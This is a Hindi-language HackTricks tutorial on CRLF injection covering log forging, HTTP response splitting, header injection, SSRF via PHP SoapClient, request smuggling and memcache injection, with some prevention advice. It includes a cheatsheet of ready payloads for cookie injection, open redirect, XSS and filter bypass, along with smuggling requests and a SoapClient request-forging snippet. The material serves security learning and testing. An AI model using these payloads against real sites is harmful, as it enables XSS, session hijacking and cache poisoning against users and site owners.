28 KiB
CRLF (%0D%0A) इंजेक्शन
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैक्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
CRLF क्या है?
जब एक ब्राउज़र वेब सर्वर को एक अनुरोध भेजता है, तो वेब सर्वर HTTP रिस्पॉन्स हेडर्स और वास्तविक वेबसाइट सामग्री, यानी रिस्पॉन्स बॉडी के साथ जवाब देता है। HTTP हेडर्स और HTML रिस्पॉन्स (वेबसाइट सामग्री) को विशेष वर्णों के एक विशिष्ट संयोजन द्वारा अलग किया जाता है, जिसे कैरिज रिटर्न और लाइन फीड कहा जाता है। संक्षेप में इन्हें CRLF भी कहा जाता है।
वेब सर्वर CRLF का उपयोग करता है ताकि समझ सके कि नया HTTP हेडर कब शुरू होता है और दूसरा कब समाप्त होता है। CRLF यह भी बता सकता है कि एक फाइल में या एक टेक्स्ट ब्लॉक में नई लाइन कब शुरू होती है। CRLF वर्ण HTTP/1.1 संदेश का एक मानक हैं, इसलिए इसका उपयोग किसी भी प्रकार के वेब सर्वर द्वारा किया जाता है, जिसमें Apache, Microsoft IIS और अन्य सभी शामिल हैं।
स्रोत https://www.netsparker.com/blog/web-security/crlf-http-header/#
CRLF इंजेक्शन भेद्यता क्या है?
CRLF इंजेक्शन भेद्यता हमले में हमलावर उपयोगकर्ता इनपुट में कैरिज रिटर्न और लाइनफीड वर्णों को डालता है ताकि सर्वर, वेब एप्लिकेशन या उपयोगकर्ता को यह सोचने में धोखा दिया जा सके कि एक ऑब्जेक्ट समाप्त हो गया है और दूसरा शुरू हो गया है। इस प्रकार CRLF अनुक्रम अपने आप में हानिकारक वर्ण नहीं हैं, हालांकि उनका उपयोग हानिकारक इरादे के लिए, HTTP रिस्पॉन्स स्प्लिटिंग आदि के लिए किया जा सकता है।
वेब एप्लिकेशन में CRLF इंजेक्शन
वेब एप्लिकेशन में CRLF इंजेक्शन का प्रभाव गंभीर हो सकता है, यह निर्भर करता है कि एप्लिकेशन एकल आइटम्स के साथ क्या करता है। प्रभाव सूचना लीक से लेकर कोड निष्पादन तक हो सकते हैं, एक सीधा प्रभाव वेब एप्लिकेशन सुरक्षा भेद्यता। वास्तव में CRLF इंजेक्शन हमले का वेब एप्लिकेशन पर बहुत गंभीर प्रभाव पड़ सकता है, भले ही इसे कभी OWASP टॉप 10 सूची में नहीं रखा गया हो। उदाहरण के लिए नीचे दिए गए उदाहरण में बताया गया है कि कैसे एक एडमिन पैनल में लॉग फाइलों को मैनिपुलेट किया जा सकता है।
एक लॉग फाइल में CRLF इंजेक्शन का उदाहरण
कल्पना कीजिए कि एक एडमिन पैनल में एक लॉग फाइल है जिसमें आउटपुट स्ट्रीम पैटर्न IP - Time - Visited Path के रूप में है, जैसे कि नीचे दिया गया है:
123.123.123.123 - 08:15 - /index.php?page=home
यदि हमलावर HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करने में सक्षम है, तो वह आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को नकली बना सकता है। वह वेब एप्लिकेशन से प्रतिक्रिया को नीचे दिए गए जैसा कुछ बदल सकता है:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
%0d और %0a CR और LF के url encoded रूप हैं। इसलिए, हमलावर द्वारा उन अक्षरों को डालने के बाद और एप्लिकेशन द्वारा इसे प्रदर्शित करने पर, लॉग प्रविष्टियाँ इस प्रकार दिखाई देंगी:
IP - समय - देखा गया पथ
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
इसलिए CRLF इंजेक्शन भेद्यता का शोषण करके हमलावर लॉग फ़ाइल में नकली प्रविष्टियाँ बना सकता है ताकि अपनी दुर्भावनापूर्ण क्रियाओं को छिपा सके। हमलावर वास्तव में पृष्ठ हाइजैकिंग कर रहा है और प्रतिक्रिया को संशोधित कर रहा है। उदाहरण के लिए कल्पना कीजिए कि हमलावर के पास व्यवस्थापक का पासवर्ड है और उसने restrictedaction पैरामीटर को निष्पादित किया है, जिसका उपयोग केवल एक व्यवस्थापक द्वारा किया जा सकता है।
समस्या यह है कि यदि व्यवस्थापक देखता है कि एक अज्ञात IP ने restrictedaction पैरामीटर का उपयोग किया है, तो उसे पता चलेगा कि कुछ गलत है। हालांकि, चूंकि अब यह प्रतीत होता है कि आदेश localhost द्वारा जारी किया गया था (और इसलिए शायद किसी ऐसे व्यक्ति द्वारा जिसकी सर्वर तक पहुँच है, जैसे कि एक व्यवस्थापक) यह संदिग्ध नहीं लगता है।
प्रश्न का पूरा भाग जो %0d%0a से शुरू होता है, सर्वर द्वारा एक पैरामीटर के रूप में संभाला जाएगा। उसके बाद एक और & है जिसके साथ restricted action पैरामीटर है जिसे सर्वर द्वारा एक और पैरामीटर के रूप में पार्स किया जाएगा। प्रभावी रूप से यह वही प्रश्न होगा जैसे:
/index.php?page=home&restrictedaction=edit
HTTP प्रतिक्रिया विभाजन
विवरण
चूंकि HTTP प्रतिक्रिया का हेडर और इसका बॉडी CRLF अक्षरों द्वारा अलग किए जाते हैं, एक हमलावर उन्हें इंजेक्ट करने का प्रयास कर सकता है। CRLFCRLF का संयोजन ब्राउज़र को बताएगा कि हेडर समाप्त हो गया है और बॉडी शुरू होती है। इसका मतलब है कि वह अब प्रतिक्रिया बॉडी के अंदर डेटा लिख सकता है जहां HTML कोड संग्रहीत होता है। इससे Cross-site Scripting संवेदनशीलता हो सकती है।
HTTP प्रतिक्रिया विभाजन का एक उदाहरण जो XSS की ओर ले जाता है
कल्पना कीजिए कि एक एप्लिकेशन एक कस्टम हेडर सेट करता है, उदाहरण के लिए:
X-Your-Name: Bob
हैडर का मान "name" नामक एक get पैरामीटर के माध्यम से सेट किया जाता है। यदि कोई URL एन्कोडिंग नहीं है और मान सीधे हैडर के अंदर प्रतिबिंबित होता है, तो हमलावर के लिए ऊपर उल्लिखित CRLFCRLF का संयोजन डालना संभव हो सकता है ताकि ब्राउज़र को यह बताया जा सके कि अनुरोध बॉडी शुरू होती है। इस तरह वह XSS पेलोड जैसे डेटा डालने में सक्षम होता है, उदाहरण के लिए:
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
उपरोक्त आक्रमित डोमेन के संदर्भ में एक अलर्ट विंडो दिखाएगा।
HTTP Response Splitting का उदाहरण जो Redirect की ओर ले जाता है
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Browser to:
/%0d%0aLocation:%20http://myweb.com
और सर्वर हेडर के साथ प्रतिक्रिया देता है:
Location: http://myweb.com
अन्य उदाहरण: (से https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
URL पथ में
आप सर्वर से प्रतिक्रिया को नियंत्रित करने के लिए पेलोड को URL पथ के अंदर भेज सकते हैं:
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP हैडर इंजेक्शन
विवरण
CRLF इंजेक्शन का फायदा उठाकर, हमलावर HTTP हैडर्स डाल सकता है जिससे वह सुरक्षा तंत्र जैसे कि ब्राउज़र के XSS फिल्टर या सेम-ओरिजिन-पॉलिसी को हरा सकता है। इससे हमलावर को CSRF टोकन जैसी संवेदनशील जानकारी प्राप्त हो सकती है। वह कुकीज़ भी सेट कर सकता है जिसका फायदा उठाकर वह पीड़ित को हमलावर के खाते में लॉग इन करा सकता है या अन्यथा असंभव cross-site scripting (XSS) संवेदनशीलताओं का शोषण कर सकता है।
HTTP हैडर इंजेक्शन का उदाहरण संवेदनशील डेटा निकालने के लिए
यदि हमलावर CORS (Cross Origin Resource Sharing) सक्रिय करने वाले HTTP हैडर्स को इंजेक्ट करने में सक्षम है, तो वह जावास्क्रिप्ट का उपयोग करके उन संसाधनों तक पहुँच सकता है जो अन्यथा SOP (Same Origin Policy) द्वारा सुरक्षित होते हैं जो अलग-अलग मूल की साइटों को एक दूसरे की पहुँच से रोकता है।
SSRF में नया HTTP अनुरोध
CRLF इंजेक्शन का दुरुपयोग करके आप नया HTTP अनुरोध बना सकते हैं और उसे इंजेक्ट कर सकते हैं।
एक अच्छा उदाहरण PHP में SoapClient डिसेरियलाइजेशन गैजेट का उपयोग करके किया जा सकता है। यह क्लास user_agent पैरामीटर के अंदर CRLF के लिए संवेदनशील है जिससे नए हैडर्स और बॉडी कंटेंट डालना संभव है। हालांकि, आप इस संवेदनशीलता का दुरुपयोग करके नया HTTP अनुरोध इंजेक्ट करने में भी सक्षम हो सकते हैं:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
हेडर इंजेक्शन से रिक्वेस्ट स्मगलिंग
आप आवश्यक हेडर्स इंजेक्ट कर सकते हैं ताकि बैक-एंड कनेक्शन को इनिशियल रिक्वेस्ट का जवाब देने के बाद भी खुला रखे:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
फिर, दूसरा अनुरोध निर्दिष्ट करें। यहाँ आपके पास एक क्लासिक request smuggling है जिसमें अतिरिक्त headers/body को सर्वर द्वारा इंजेक्शन के बाद जोड़ा जाता है। यहाँ पार-उपयोगकर्ता शोषण के लिए कई विकल्पों में से दो हैं।
अगले उपयोगकर्ता के अनुरोध या वेब कैश को जहर देने के लिए दुर्भावनापूर्ण प्रीफिक्स निर्दिष्ट करना:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
या हमारे प्रीफिक्स को ट्रेलिंग जंक के साथ मिलाकर एक पूर्ण दूसरे अनुरोध को बनाने के लिए ताकि response queue poisoning को ट्रिगर किया जा सके।
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए मूल स्रोत की जाँच करें।
Memcache Injection
Memcache एक की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है। अधिक जानकारी के लिए:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
यदि कोई प्लेटफॉर्म HTTP अनुरोध से डेटा ले रहा है और इसे बिना सेनिटाइज़ किए अनुरोध करने के लिए memcache सर्वर का उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके नए memcache कमांड्स इंजेक्ट कर सकता है।
उदाहरण के लिए, मूल खोजे गए दोष में, कैश कुंजियों का उपयोग उस IP और पोर्ट को लौटाने के लिए किया जाता था जिससे एक उपयोगकर्ता को जुड़ना चाहिए, और हमलावरों ने memcache कमांड्स इंजेक्ट करने में सक्षम थे जो कैश को जहर देते थे ताकि पीड़ितों का विवरण (उपयोगकर्ता नाम और पासवर्ड सहित) हमलावर सर्वरों को भेजा जा सके:
इसके अलावा, शोधकर्ताओं ने यह भी पता लगाया कि वे memcache प्रतिक्रियाओं को असमान कर सकते हैं ताकि हमलावरों के ip और पोर्ट्स को उन उपयोगकर्ताओं को भेजा जा सके जिनके ईमेल हमलावर को नहीं पता थे:
पूरी जानकारी के लिए मूल लेख पढ़ें****
CRLF इंजेक्शन भेद्यता के प्रभाव
CRLF इंजेक्शन के प्रभाव विविध होते हैं और इसमें सूचना प्रकटीकरण से लेकर Cross-site Scripting के सभी प्रभाव शामिल हैं। यह पीड़ित के ब्राउज़रों में XSS फिल्टर्स और Same Origin Policy जैसी कुछ सुरक्षा प्रतिबंधों को भी निष्क्रिय कर सकता है, जिससे वे दुर्भावनापूर्ण हमलों के प्रति संवेदनशील हो जाते हैं।
वेब एप्लिकेशन में CRLF / HTTP हेडर इंजेक्शन को रोकने के तरीके
सबसे अच्छी रोकथाम तकनीक यह है कि प्रतिक्रिया हेडर्स के अंदर सीधे उपयोगकर्ताओं के इनपुट का उपयोग न किया जाए। यदि यह संभव नहीं है, तो आपको हमेशा CRLF विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करना चाहिए। एक और अच्छा वेब एप्लिकेशन सुरक्षा सर्वोत्तम प्रथा यह है कि आप अपनी प्रोग्रामिंग भाषा को एक ऐसे संस्करण में अपडेट करें जो HTTP हेडर्स सेट करने वाले फ़ंक्शन्स के अंदर CR और LF को इंजेक्ट करने की अनुमति न दे।
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
स्वचालित उपकरण
ब्रूट-फोर्स पता लगाने की सूची
संदर्भ
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
यदि आप हैकिंग करियर में रुचि रखते हैं और अहैक्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सदस्यता योजनाएं देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks के HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।